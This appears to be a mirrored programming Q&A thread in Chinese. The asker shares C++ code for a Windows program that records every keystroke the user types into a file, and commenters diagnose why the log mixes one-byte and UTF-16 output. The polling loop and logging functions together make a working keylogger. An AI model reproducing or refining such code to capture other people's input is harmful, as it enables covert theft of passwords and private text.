【发布时间】:2020-10-29 20:32:33
【问题描述】:
我正在制作一个程序来捕获用户输入的所有键并将它们保存到文件中。
有一个问题我真的很困惑。有时当我打开文本文件时,它看起来像是 ALL 的 Unicode。
我输入了俄语字符,它们是正确的。
但是,有时文件是正常格式的。
这会将密钥转换为 Unicode:
void writeScannedKey(unsigned char key)
{
HWND windowHandle{ GetForegroundWindow() };
DWORD threadID{ GetWindowThreadProcessId(windowHandle, NULL) };
BYTE *keyState{ (BYTE*)malloc(256) };
GetKeyboardState(keyState);
HKL hkl{ GetKeyboardLayout(threadID) };
wchar_t uniChar[16]{ 0 };
UINT virtualKey{ (MapVirtualKeyEx(key, MAPVK_VK_TO_CHAR, hkl)) };
ToUnicodeEx(virtualKey, key, keyState, uniChar, 16, 0, hkl);
writeLog(uniChar);
free(keyState);
}
程序循环(writeScannedKey()是上面的函数):
while (true)
{
for (key = 8; key <= 222; ++key)
{
if (GetAsyncKeyState(key) == -32767)
{
if ((key >= 39) && (key < 91))
{
writeScannedKey(key);
break;
}
if (isShitKey(key) == FALSE)
writeLog4(key);
}
}
}
我有 3 个不同的函数,它们接受彼此不同的数据类型(我知道,这很糟糕)。 WriteLog4 函数是我用来将普通字符写入文件的函数,writeLog2 用于打印例如 ALT 键、RWin 键等。 & writeLog 是从writeScannedKey() 函数调用的函数。
void writeLog(TCHAR *text)
{
std::wstring s{ g_name };
std::string name{ s.begin(), s.end() };
std::string fullPath{ "\\\\.\\" + g_takePath + "\\" + name };
HANDLE file{ CreateFileA(fullPath.c_str(), FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL) };
WriteFile(file, text, wcslen(text) * sizeof(wchar_t), NULL, NULL);
CloseHandle(file);
}
void writeLog2(LPCSTR text)
{
std::wstring s{ g_name };
std::string name{ s.begin(), s.end() };
std::string fullPath{ "\\\\.\\" + g_takePath + "\\" + name };
HANDLE file{ CreateFileA(fullPath.c_str(), FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL) };
WriteFile(file, text, lstrlenA(text) * sizeof(char), NULL, NULL);
CloseHandle(file);
}
void writeLog4(unsigned char text)
{
std::wstring s{ g_name };
std::string name{ s.begin(), s.end() };
std::string fullPath{ "\\\\.\\" + g_takePath + "\\" + name };
HANDLE file{ CreateFileA(fullPath.c_str(), FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL) };
WriteFile(file, (LPCVOID)text, sizeof(text) / sizeof(char) * sizeof(char), NULL, NULL);
CloseHandle(file);
}
【问题讨论】:
-
先用十六进制编辑器或非记事本检查文件。记事本会对您的文件编码做出某些猜测,您可能会遇到它。
-
您的 writeLog4 函数将其
unsigned char text参数视为从中读取随机数据的地址。您应该将&text传递给 Writefile。 -
不管用什么文本编辑器都无效。
-
每次用
writeScannedKey写,写2个字节,但是用WriteLog4写,只写1个字节,所以用UTF-16读的时候,字符应以1字节显示 与后面的字符组合显示为乱码。